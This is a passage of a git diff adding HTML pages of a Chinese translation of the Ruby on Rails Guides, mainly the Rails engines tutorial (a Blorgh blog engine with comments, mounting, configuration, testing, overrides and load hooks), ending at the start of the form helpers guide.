+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
+
+
+
+

最后一个需要注意的问题是,引擎的 articles 资源应作为引擎的根路径。当用户访问挂载引擎的根路径时,看到的应该是文章列表。具体的设置方法是在引擎的 config/routes.rb 文件中添加下面这行代码:

+
+root to: "articles#index"
+
+
+
+

这样,用户只需访问引擎的根路径,而无需访问 /articles,就可以看到所有文章的列表。也就是说,现在应该访问 http://localhost:3000/blorgh 页面,而不是 http://localhost:3000/blorgh/articles 页面。

3.2 生成评论资源

到目前为止,我们的 Blorgh 引擎已经能够新建文章了,下一步应该为文章添加评论。为此,我们需要生成评论模型和评论控制器,同时修改文章脚手架,以显示文章的已有评论并提供添加评论的表单。

在引擎的根目录中运行模型生成器,以生成 Comment 模型,此模型具有 article_id 整型字段和 text 文本字段:

+
+$ bin/rails generate model Comment article_id:integer text:text
+
+
+
+

上述命令输出的提示信息为:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/models/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+
+
+
+

通过运行模型生成器,我们生成了必要的模型文件,这些文件都储存在 blorgh 文件夹中(用作模型的命名空间),同时创建了 Blorgh::Comment 模型类。接下来,在引擎的根目录中运行迁移,以创建 blorgh_comments 数据表:

+
+$ bin/rails db:migrate
+
+
+
+

为了显示文章评论,我们需要修改 app/views/blorgh/articles/show.html.erb 文件,在“修改”链接之前添加下面的代码:

+
+<h3>Comments</h3>
+<%= render @article.comments %>
+
+
+
+

上述代码要求在 Blorgh::Article 模型上定义到 commentshas_many 关联,这项工作目前还未进行。为此,我们需要打开 app/models/blorgh/article.rb 文件,在模型定义中添加下面这行代码:

+
+has_many :comments
+
+
+
+

修改后的模型定义如下:

+
+module Blorgh
+  class Article < ApplicationRecord
+    has_many :comments
+  end
+end
+
+
+
+

这里的 has_many 关联是在 Blorgh 模块内的类中定义的,因此 Rails 知道应该为关联对象使用 Blorgh::Comment 模型,而无需指定 :class_name 选项。

接下来,还需要提供添加评论的表单。为此,我们需要打开 app/views/blorgh/articles/show.html.erb 文件,在 render @article.comments 之后添加下面这行代码:

+
+<%= render "blorgh/comments/form" %>
+
+
+
+

接下来需要添加上述代码中使用的局部视图。新建 app/views/blorgh/comments 文件夹,在其中新建 _form.html.erb 文件并添加下面的局部视图代码:

+
+<h3>New comment</h3>
+<%= form_for [@article, @article.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+
+
+
+

此表单在提交时,会向引擎的 /articles/:article_id/comments 地址发起 POST 请求。此地址对应的路由还不存在,为此需要打开 config/routes.rb 文件,修改其中的 resources :articles 相关代码:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

上述代码创建了表单所需的嵌套路由。

我们刚刚添加了路由,但路由指向的控制器还不存在。为此,需要在引擎的根目录中运行下面的命令:

+
+$ bin/rails g controller comments
+
+
+
+

上述命令输出的提示信息为:

+
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/controllers/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+
+
+
+

提交表单时向 /articles/:article_id/comments 地址发起的 POST 请求,将由 Blorgh::CommentsControllercreate 动作处理。我们需要创建此动作,为此需要打开 app/controllers/blorgh/comments_controller.rb 文件,并在类定义中添加下面的代码:

+
+def create
+  @article = Article.find(params[:article_id])
+  @comment = @article.comments.create(comment_params)
+  flash[:notice] = "Comment has been created!"
+  redirect_to articles_path
+end
+
+private
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
+
+
+
+

这是提供评论表单的最后一步。但是仍有问题需要解决,如果我们添加一条评论,将会遇到下面的错误:

+
+Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
+
+
+
+

引擎无法找到渲染评论所需的局部视图。Rails 首先会在测试应用(test/dummy)的 app/views 文件夹中进行查找,然在在引擎的 app/views 文件夹中进行查找。如果找不到,就会抛出上述错误。因为引擎接收的模型对象来自 Blorgh::Comment 类,所以引擎知道应该查找 blorgh/comments/_comment 局部视图。

目前,blorgh/comments/_comment 局部视图只需渲染评论文本。为此,我们可以新建 app/views/blorgh/comments/_comment.html.erb 文件,并添加下面这行代码:

+
+<%= comment_counter + 1 %>. <%= comment.text %>
+
+
+
+

上述代码中的 comment_counter 局部变量由 <%= render @article.comments %> 调用提供,此调用会遍历每条评论并自动增加计数器的值。这里的 comment_counter 局部变量用于为每条评论添加序号。

到此为止,我们完成了博客引擎的评论功能。接下来我们就可以在应用中使用这项功能了。

4 把引擎挂载到应用中

要想在应用中使用引擎非常容易。本节介绍如何把引擎挂载到应用中并完成必要的初始化设置,以及如何把引擎连接到应用中的 User 类上,以便使应用中的用户拥有引擎中的文章及其评论。

4.1 挂载引擎

首先,需要在应用的 Gemfile 中指定引擎。我们需要新建一个应用用于测试,为此可以在引擎文件夹之外执行 rails new 命令:

+
+$ rails new unicorn
+
+
+
+

通常,只需在 Gemfile 中以普通 gem 的方式指定引擎。

+
+gem 'devise'
+
+
+
+

由于我们是在本地开发 blorgh 引擎,因此需要在 Gemfile 中指定 :path 选项:

+
+gem 'blorgh', path: 'engines/blorgh'
+
+
+
+

然后通过 bundle 命令安装 gem。

如前文所述,Gemfile 中的 gem 将在 Rails 启动时加载。上述代码首先加载引擎中的 lib/blorgh.rb 文件,然后加载 lib/blorgh/engine.rb 文件,后者定义了引擎的主要功能。

要想在应用中访问引擎的功能,我们需要在应用的 config/routes.rb 文件中挂载该引擎:

+
+mount Blorgh::Engine, at: "/blog"
+
+
+
+

上述代码会在应用的 /blog 路径上挂载引擎。通过 rails server 命令运行应用后,我们就可以通过 http://localhost:3000/blog 访问引擎了。

其他一些引擎,例如 Devise,工作原理略有不同,这些引擎会在路由中自定义辅助方法(例如 devise_for)。这些辅助方法的作用都是在预定义路径(可以自定义)上挂载引擎的功能。

4.2 引擎设置

引擎中包含了 blorgh_articlesblorgh_comments 数据表的迁移。通过这些迁移在应用的数据库中创建数据表之后,引擎模型才能正确查询对应的数据表。在引擎的 test/dummy 文件夹中运行下面的命令,可以把这些迁移复制到应用中:

+
+$ bin/rails blorgh:install:migrations
+
+
+
+

如果需要从多个引擎中复制迁移,可以使用 railties:install:migrations

+
+$ bin/rails railties:install:migrations
+
+
+
+

第一次运行上述命令时,Rails 会从所有引擎中复制迁移。再次运行时,只会复制尚未复制的迁移。第一次运行上述命令时输出的提示信息为:

+
+Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh
+
+
+
+

其中第一个时间戳([timestamp_1])是当前时间,第二个时间戳([timestamp_2])是当前时间加上 1 秒。这样就能确保引擎的迁移总是在应用的现有迁移之后运行。

通过 bin/rails db:migrate 命令即可在应用的上下文中运行引擎的迁移。此时访问 http://localhost:3000/blog 会看到文章列表是空的,这是因为在应用中和在引擎中创建的数据表有所不同。继续浏览刚刚挂载的这个引擎的其他页面,我们会发现引擎和应用看起来并没有什么区别。

通过指定 SCOPE 选项,我们可以只运行指定引擎的迁移:

+
+$ bin/rails db:migrate SCOPE=blorgh
+
+
+
+

在需要还原并删除引擎的迁移时常常采取这种做法。通过下面的命令可以还原 blorgh 引擎的所有迁移:

+
+$ bin/rails db:migrate SCOPE=blorgh VERSION=0
+
+
+
+

4.3 使用应用提供的类

4.3.1 使用应用提供的模型

在创建引擎时,有时需要通过应用提供的类把引擎和应用连接起来。在 blorgh 引擎的例子中,我们需要把文章及其评论和作者关联起来。

一个典型的应用可能包含 User 类,可用于表示文章和评论的作者。但有的应用包含的可能是 Person 类而不是 User 类。因此,我们不能通过硬编码直接在引擎中建立和 User 类的关联。

为了避免例子变得复杂,我们假设应用包含的是 User 类(后文将对这个类进行配置)。通过下面的命令可以在应用中生成这个 User 类:

+
+$ bin/rails g model user name:string
+
+
+
+

然后执行 bin/rails db:migrate 命令以创建 users 数据表。

同样,为了避免例子变得复杂,我们会在文章表单中添加 author_name 文本字段,用于输入作者名称。引擎会根据作者名称新建或查找已有的 User 对象,然后建立此 User 对象和其文章的关联。

具体操作的第一步是在引擎的 app/views/blorgh/articles/_form.html.erb 局部视图中添加 author_name 文本字段,添加的位置是在 title 字段之前:

+
+<div class="field">
+  <%= f.label :author_name %><br>
+  <%= f.text_field :author_name %>
+</div>
+
+
+
+

接下来,需要更新 Blorgh::ArticleController#article_params 方法,以便使用新增的表单参数:

+
+def article_params
+  params.require(:article).permit(:title, :text, :author_name)
+end
+
+
+
+

然后还要在 Blorgh::Article 模型中添加相关代码,以便把 author_name 字段转换为实际的 User 对象,并在保存文章之前把 User 对象和其文章关联起来。为此,需要为 author_name 字段设置 attr_accessor,也就是为其定义设值方法(setter)和读值方法(getter)。

为此,我们不仅需要为 author_name 添加 attr_accessor,还需要为 author 建立关联,并在 app/models/blorgh/article.rb 文件中添加 before_validation 调用。这里,我们暂时通过硬编码直接把 author 关联到 User 类上。

+
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_validation :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by(name: author_name)
+  end
+
+
+
+

通过把 author 对象关联到 User 类上,我们成功地把引擎和应用连接起来。接下来还需要通过某种方式把 blorgh_articlesusers 数据表中的记录关联起来。由于关联的名称是 author,我们应该为 blorgh_articles 数据表添加 author_id 字段。

在引擎中运行下面的命令可以生成 author_id 字段:

+
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+
+
+
+

通过迁移名称和所提供的字段信息,Rails 知道需要向数据表中添加哪些字段,并会将相关代码写入迁移中,因此无需手动编写迁移代码。

我们应该在应用中运行迁移,因此需要通过下面的命令把引擎的迁移复制到应用中:

+
+$ bin/rails blorgh:install:migrations
+
+
+
+

注意,上述命令实际只复制了一个迁移,因为之前的两个迁移在上一次执行此命令时已经复制过了。

+
+NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
+
+
+
+

然后通过下面的命令运行迁移:

+
+$ bin/rails db:migrate
+
+
+
+

现在,一切都已各就各位,我们完成了作者(用应用的 users 数据表中的记录表示)和文章(用引擎的 blorgh_articles 数据表中的记录表示)的关联。

最后,还需要把作者名称显示在文章页面上。为此,需要在 app/views/blorgh/articles/show.html.erb 文件中把下面的代码添加到“Title”之前:

+
+<p>
+  <b>Author:</b>
+  <%= @article.author.name %>
+</p>
+
+
+
+

4.3.2 使用应用提供的控制器

默认情况下,Rails 控制器通常会通过继承 ApplicationController 类实现功能共享,例如身份验证和会话变量的访问。而引擎的作用域是和宿主应用隔离开的,因此其 ApplicationController 类具有独立的命名空间。独立的命名空间避免了代码冲突,但是引擎的控制器常常需要访问宿主应用的 ApplicationController 类中的方法,为此我们可以让引擎的 ApplicationController 类继承自宿主应用的 ApplicationController 类。在 Blorgh 引擎的例子中,我们可以对 app/controllers/blorgh/application_controller.rb 文件进行如下修改:

+
+module Blorgh
+  class ApplicationController < ::ApplicationController
+  end
+end
+
+
+
+

默认情况下,引擎的控制器继承自 Blorgh::ApplicationController 类,因此通过上述修改,这些控制器将能够访问宿主应用的 ApplicationController 类中的方法,就好像它们是宿主应用的一部分一样。

当然,进行上述修改的前提是,宿主应用必须是具有 ApplicationController 类的应用。

4.4 配置引擎

本节介绍如何使 User 类成为可配置的,然后介绍引擎的基本配置中的注意事项。

4.4.1 在引擎中配置所使用的应用中的类

接下来我们需要想办法在引擎中配置所使用的应用中的用户类。如前文所述,应用中的用户类有可能是 User,也有可能是 Person 或其他类,因此这个用户类必须是可配置的。为此,我们需要在引擎中通过 author_class 选项指定所使用的应用中的用户类。

具体操作是在引擎的 Blorgh 模块中使用 mattr_accessor 方法,也就是把下面这行代码添加到引擎的 lib/blorgh.rb 文件中:

+
+mattr_accessor :author_class
+
+
+
+

mattr_accessor 方法的工作原理与 attr_accessorcattr_accessor 方法类似,其作用是根据指定名称为模块提供设值方法和读值方法。使用时直接调用 Blorgh.author_class 方法即可。

接下来需要把 Blorgh::Article 模型切换到新配置,具体操作是在 app/models/blorgh/article.rb 中修改模型的 belongs_to 关联:

+
+belongs_to :author, class_name: Blorgh.author_class
+
+
+
+

Blorgh::Article 模型的 set_author 方法的定义也调用了 Blorgh.author_class 方法:

+
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+
+
+
+

为了避免在每次调用 Blorgh.author_class 方法时调用 constantize 方法,我们可以在 lib/blorgh.rb 文件中覆盖 Blorgh 模块的 author_class 读值方法,在返回 author_class 前调用 constantize 方法:

+
+def self.author_class
+  @@author_class.constantize
+end
+
+
+
+

这时上述 set_author 方法的定义将变为:

+
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+
+
+
+

修改后的代码更短,意义更明确。author_class 方法本来就应该返回 Class 对象。

因为修改后的 author_class 方法返回的是 Class,而不是原来的 String,我们还需要修改 Blorgh::Article 模型中 belongs_to 关联的定义:

+
+belongs_to :author, class_name: Blorgh.author_class.to_s
+
+
+
+

为了配置引擎所使用的应用中的类,我们需要使用初始化脚本。只有通过初始化脚本,我们才能在应用启动并调用引擎模型前完成相关配置。

在安装 blorgh 引擎的应用中,打开 config/initializers/blorgh.rb 文件,创建新的初始化脚本并添加如下代码:

+
+Blorgh.author_class = "User"
+
+
+
+

注意这里使用的是类的字符串版本,而非类本身。如果我们使用了类本身,Rails 就会尝试加载该类并引用对应的数据表。如果对应的数据表还未创建,就会抛出错误。因此,这里只能使用类的字符串版本,然后在引擎中通过 constantize 方法把类的字符串版本转换为类本身。

接下来我们试着添加一篇文章,整个过程和之前并无差别,只不过这次引擎使用的是我们在 config/initializers/blorgh.rb 文件中配置的类。

这样,我们再也不必关心应用中的用户类到底是什么,而只需关心该用户类是否实现了我们所需要的 API。blorgh 引擎只要求应用中的用户类实现了 find_or_create_by 方法,此方法需返回该用户类的对象,以便和对应的文章关联起来。当然,用户类的对象必须具有某种标识符,以便引用。

4.4.2 引擎的基本配置

有时我们需要在引擎中使用初始化脚本、国际化和其他配置选项。一般来说这些都可以实现,因为 Rails 引擎和 Rails 应用共享了相当多的功能。事实上,Rails 应用的功能就是 Rails 引擎的功能的超集。

引擎的初始化脚本包含了需要在加载引擎之前运行的代码,其存储位置是引擎的 config/initializers 文件夹。初始化脚本介绍过应用的 config/initializers 文件夹的功能,而引擎和应用的 config/initializers 文件夹的功能完全相同。对于标准的初始化脚本,需要完成的工作都是一样的。

引擎的区域设置也和应用相同,只需把区域设置文件放在引擎的 config/locales 文件夹中即可。

5 测试引擎

在使用生成器创建引擎时,Rails 会在引擎的 test/dummy 文件夹中创建一个小型的虚拟应用,作为测试引擎时的挂载点。通过在 test/dummy 文件夹中生成控制器、模型和视图,我们可以扩展这个应用,以更好地满足测试需求。

test 文件夹和典型的 Rails 测试环境一样,支持单元测试、功能测试和集成测试。

5.1 功能测试

在编写功能测试时,我们需要思考如何在 test/dummy 应用上运行测试,而不是在引擎上运行测试。这是由测试环境的设置决定的,只有通过引擎的宿主应用我们才能测试引擎的功能(尤其是引擎控制器)。也就是说,在编写引擎控制器的功能测试时,我们应该像下面这样处理典型的 GET 请求:

+
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+
+
+
+

上述代码还无法正常工作,这是因为宿主应用不知道如何处理引擎的路由,因此我们需要手动指定路由。具体操作是把 @routes 实例变量的值设置为引擎的路由:

+
+module Blorgh
+  class FooControllerTest < ActionDispatch::IntegrationTest
+    include Engine.routes.url_helpers
+
+    setup do
+      @routes = Engine.routes
+    end
+
+    def test_index
+      get foos_url
+      ...
+    end
+  end
+end
+
+
+
+

上述代码告诉应用,用户对 Foo 控制器的 index 动作发起的 GET 请求应该由引擎的路由来处理,而不是由应用的路由来处理。

include Engine.routes.url_helpers 这行代码可以确保引擎的 URL 辅助方法能够在测试中正常工作。

6 改进引擎的功能

本节介绍如何在宿主应用中添加或覆盖引擎的 MVC 功能。

6.1 覆盖模型和控制器

要想扩展引擎的模型类和控制器类,我们可以在宿主应用中直接打开它们(因为模型类和控制器类只不过是继承了特定 Rails 功能的 Ruby 类)。通过打开类的技术,我们可以根据宿主应用的需求对引擎的类进行自定义,实际操作中通常会使用装饰器模式。

通过 Class#class_eval 方法可以对类进行简单修改,通过 ActiveSupport::Concern 模块可以完成对类的复杂修改。

6.1.1 使用装饰器以及加载代码时的注意事项

打开类时使用的装饰器并未在 Rails 应用中引用,因此 Rails 的自动加载系统不会加载这些装饰器。换句话说,我们需要手动加载这些装饰器。

下面是一些示例代码:

+
+# lib/blorgh/engine.rb
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+
+    config.to_prepare do
+      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+        require_dependency(c)
+      end
+    end
+  end
+end
+
+
+
+

不光是装饰器,对于添加到引擎中但没有在宿主应用中引用的任何东西,都需要进行这样的处理。

6.1.2 通过 Class#class_eval 实现装饰器模式

添加 Article#time_since_created 方法:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+end
+
+
+
+

覆盖 Article#summary 方法:

+
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
+
+Blorgh::Article.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  has_many :comments
+  def summary
+    "#{title}"
+  end
+end
+
+
+
+

6.1.3 通过 ActiveSupport::Concern 模块实现装饰器模式

对类进行简单修改时,使用 Class#class_eval 方法很方便,但对于复杂的修改,就应该考虑使用 ActiveSupport::Concern 模块了。ActiveSupport::Concern 模块能够管理互相关联、依赖的模块和类运行时的加载顺序,这样我们就可以放心地实现代码的模块化。

添加 Article#time_since_created 方法并覆盖 Article#summary 方法:

+
+# MyApp/app/models/blorgh/article.rb
+
+class Blorgh::Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+
+
+
+
+
+# Blorgh/app/models/article.rb
+
+class Article < ApplicationRecord
+  include Blorgh::Concerns::Models::Article
+end
+
+
+
+
+
+# Blorgh/lib/concerns/models/article.rb
+
+module Blorgh::Concerns::Models::Article
+  extend ActiveSupport::Concern
+
+  # `included do` 中的代码可以在代码所在位置(article.rb)的上下文中执行,
+  # 而不是在模块的上下文中执行(blorgh/concerns/models/article)。
+  included do
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User"
+
+    before_validation :set_author
+
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+
+
+
+

6.2 覆盖视图

Rails 在查找需要渲染的视图时,首先会在应用的 app/views 文件夹中查找。如果找不到,就会接着在所有引擎的 app/views 文件夹中查找。

在渲染 Blorgh::ArticlesControllerindex 动作的视图时,Rails 首先在应用中查找 app/views/blorgh/articles/index.html.erb 文件。如果找不到,就会接着在引擎中查找。

只要在应用中新建 app/views/blorgh/articles/index.html.erb 视图,就可覆盖引擎中的对应视图,这样我们就可以根据需要自定义视图的内容。

马上动手试一下,新建 app/views/blorgh/articles/index.html.erb 文件并添加下面的内容:

+
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+  <h2><%= article.title %></h2>
+  <small>By <%= article.author %></small>
+  <%= simple_format(article.text) %>
+  <hr>
+<% end %>
+
+
+
+

6.3 路由

默认情况下,引擎和应用的路由是隔离开的。这种隔离是通过在 Engine 类中调用 isolate_namespace 方法实现的。这样,应用和引擎中的同名路由就不会发生冲突。

config/routes.rb 文件中,我们可以在 Engine 类上定义引擎的路由,例如:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

正因为引擎和应用的路由是隔离开的,当我们想要在应用中链接到引擎的某个位置时,就必须使用引擎的路由代理方法。如果像使用普通路由辅助方法那样直接使用 articles_path 辅助方法,将无法确定实际生成的链接,因为引擎和应用有可能都定义了这个辅助方法。

例如,对于下面的例子,如果是在应用中渲染模板,就会调用应用的 articles_path 辅助方法,如果是在引擎中渲染模板,就会调用引擎的 articles_path 辅助方法:

+
+<%= link_to "Blog articles", articles_path %>
+
+
+
+

要想确保使用的是引擎的 articles_path 辅助方法,我们必须通过路由代理方法来调用这个辅助方法:

+
+<%= link_to "Blog articles", blorgh.articles_path %>
+
+
+
+

要想确保使用的是应用的 articles_path 辅助方法,我们可以使用 main_app 路由代理方法:

+
+<%= link_to "Home", main_app.root_path %>
+
+
+
+

这样,当我们在引擎中渲染模板时,上述代码生成的链接将总是指向应用的根路径。要是不使用 main_app 路由代理方法,在不同位置渲染模板时,上述代码生成的链接就既有可能指向引擎的根路径,也有可能指向应用的根路径。

当我们在引擎中渲染模板时,如果在模板中调用了应用的路由辅助方法,Rails 就有可能抛出未定义方法错误。如果遇到此类问题,请检查代码中是否存在未通过 main_app 路由代理方法直接调用应用的路由辅助方法的情况。

6.4 静态资源文件

引擎和应用的静态资源文件的工作原理完全相同。由于引擎类继承自 Rails::Engine 类,应用知道应该在引擎的 app/assetslib/assets 文件夹中查找静态资源文件。

和引擎的所有其他组件一样,引擎的静态资源文件应该具有独立的命名空间。也就是说,引擎的静态资源文件 style.css 的路径应该是 app/assets/stylesheets/[engine name]/style.css,而不是 app/assets/stylesheets/style.css。如果引擎的静态资源文件不具有独立的命名空间,那么就有可能和宿主应用中的同名静态资源文件发生冲突,而一旦发生冲突,宿主应用中的静态资源文件将具有更高的优先级,引擎的静态资源文件将被忽略。

假设引擎有 app/assets/stylesheets/blorgh/style.css 这么一个静态资源文件,要想在宿主应用中包含此文件,直接使用 stylesheet_link_tag 辅助方法即可:

+
+<%= stylesheet_link_tag "blorgh/style.css" %>
+
+
+
+

同样,我们也可以使用 Asset Pipeline 的 require 语句加载引擎中的静态资源文件:

+
+/*
+ *= require blorgh/style
+*/
+
+
+
+

记住,若想使用 Sass 和 CoffeeScript 等语言,要把相关的 gem 添加到引擎的 .gemspec 文件中。

6.5 独立的静态资源文件和预编译

有时,宿主应用并不需要加载引擎的静态资源文件。例如,假设我们创建了一个仅适用于某个引擎的管理后台,这时宿主应用就不需要加载引擎的 admin.cssadmin.js 文件,因为只有引擎的管理后台才需要这些文件。也就是说,在宿主应用的样式表中包含 blorgh/admin.css 文件没有任何意义。对于这种情况,我们应该显式定义那些需要预编译的静态资源文件,这样在执行 bin/rails assets:precompile 命令时,Sprockets 就会预编译所指定的引擎的静态资源文件。

我们可以在引擎的 engine.rb 文件中定义需要预编译的静态资源文件:

+
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w( admin.js admin.css )
+end
+
+
+
+

关于这个问题的更多介绍,请参阅Asset Pipeline

6.6 其他 gem 依赖

我们应该在引擎根目录中的 .gemspec 文件中声明引擎的 gem 依赖,因为我们可能会以 gem 的方式安装引擎。如果在引擎的 Gemfile 文件中声明 gem 依赖,在通过 gem install 命令安装引擎时,就无法识别并安装这些依赖,这样引擎安装后将无法正常工作。

要想让 gem install 命令能够识别引擎的 gem 依赖,只需在引擎的 .gemspec 文件的 Gem::Specification 代码块中进行声明:

+
+s.add_dependency "moo"
+
+
+
+

还可以像下面这样声明用于开发环境的依赖:

+
+s.add_development_dependency "moo"
+
+
+
+

不管是用于所有环境的依赖,还是用于开发环境的依赖,在执行 bundle install 命令时都会被安装,只不过用于开发环境的依赖只会在运行引擎测试时用到。

注意,如果有些依赖在加载引擎时就必须加载,那么应该在引擎初始化之前就加载它们,例如:

+
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+
+
+
+

7 Active Support on_load 钩子

由于 Ruby 是动态语言,所有有些代码会导致加载相关的 Rails 组件。以下述代码片段为例:

+
+ActiveRecord::Base.include(MyActiveRecordHelper)
+
+
+
+

加载这段代码时发现有 ActiveRecord::Base,因此 Ruby 会查找这个常量的定义,然后引入它。这就导致整个 Active Record 组件在启动时加载。

ActiveSupport.on_load 可以延迟加载代码,在真正需要时才加载。上述代码可以修改为:

+
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper }
+
+
+
+

这样修改之后,加载 ActiveRecord::Base 时才会引入 MyActiveRecordHelper

7.1 运作方式

在 Rails 框架中,加载相应的库时会调用这些钩子。例如,加载 ActionController::Base 时,调用 :action_controller_base 钩子。也就是说,ActiveSupport.on_load 调用设定的 :action_controller_base 钩子在 ActionController::Base 的上下文中调用(因此 selfActionController::Base 的实例)。

7.2 修改代码,使用 on_load 钩子

修改代码的方式很简单。如果代码引用了某个 Rails 组件,如 ActiveRecord::Base,只需把代码放在 on_load 钩子中。

示例 1

+
+ActiveRecord::Base.include(MyActiveRecordHelper)
+
+
+
+

改为:

+
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper }
+# self 在这里指代 ActiveRecord::Base 实例,因此可以直接调用 #include
+
+
+
+ +
    +
  • 示例 2**
  • +
+
+
+ActionController::Base.prepend(MyActionControllerHelper)
+
+
+
+

改为:

+
+ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper }
+# self 在这里指代 ActionController::Base 实例,因此可以直接调用 #prepend
+
+
+
+

示例 3

+
+ActiveRecord::Base.include_root_in_json = true
+
+
+
+

改为:

+
+ActiveSupport.on_load(:active_record) { self.include_root_in_json = true }
+# self 在这里指代 ActiveRecord::Base 实例
+
+
+
+

7.3 可用的钩子

下面是可在代码中使用的钩子。

若想勾入下述某个类的初始化过程,使用相应的钩子。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
可用的钩子
ActionCableaction_cable
ActionController::APIaction_controller_api
ActionController::APIaction_controller
ActionController::Baseaction_controller_base
ActionController::Baseaction_controller
ActionController::TestCaseaction_controller_test_case
ActionDispatch::IntegrationTestaction_dispatch_integration_test
ActionMailer::Baseaction_mailer
ActionMailer::TestCaseaction_mailer_test_case
ActionView::Baseaction_view
ActionView::TestCaseaction_view_test_case
ActiveJob::Baseactive_job
ActiveJob::TestCaseactive_job_test_case
ActiveRecord::Baseactive_record
ActiveSupport::TestCaseactive_support_test_case
i18ni18n
+

8 配置钩子

下面是可用的配置钩子。这些钩子不勾入具体的组件,而是在整个应用的上下文中运行。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
钩子使用场景
before_configuration第一运行,在所有初始化脚本运行之前调用。
before_initialize第二运行,在初始化各组件之前运行。
before_eager_load第三运行。config.cache_classes 设为 false 时不运行。
after_initialize最后运行,各组件初始化完成之后调用。
+

示例

+
+config.before_configuration { puts 'I am called before any initializers' }
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/form_helpers.html b/form_helpers.html new file mode 100644 index 0000000..57d2484 --- /dev/null +++ b/form_helpers.html @@ -0,0 +1,1065 @@ + + + + + + + +表单辅助方法 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

表单辅助方法

表单是 Web 应用中用户输入的基本界面。尽管如此,由于需要处理表单控件的名称和众多属性,编写和维护表单标记可能很快就会变得单调乏味。Rails 提供用于生成表单标记的视图辅助方法来消除这种复杂性。然而,由于这些辅助方法具有不同的用途和用法,开发者在使用之前需要知道它们之间的差异。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中创建搜索表单和类似的不针对特定模型的通用表单;
  • +
  • 如何使用针对特定模型的表单来创建和修改对应的数据库记录;
  • +
  • 如何使用多种类型的数据生成选择列表;
  • +
  • Rails 提供了哪些日期和时间辅助方法;
  • +
  • 上传文件的表单有什么特殊之处;
  • +
  • 如何用 post 方法把表单提交到外部资源并设置真伪令牌;
  • +
  • 如何创建复杂表单。
  • +
+ + + + +
+
+ +
+
+
+

本文不是所有可用表单辅助方法及其参数的完整文档。关于表单辅助方法的完整介绍,请参阅 Rails API 文档

1 处理基本表单

form_tag 方法是最基本的表单辅助方法。

+
+<%= form_tag do %>
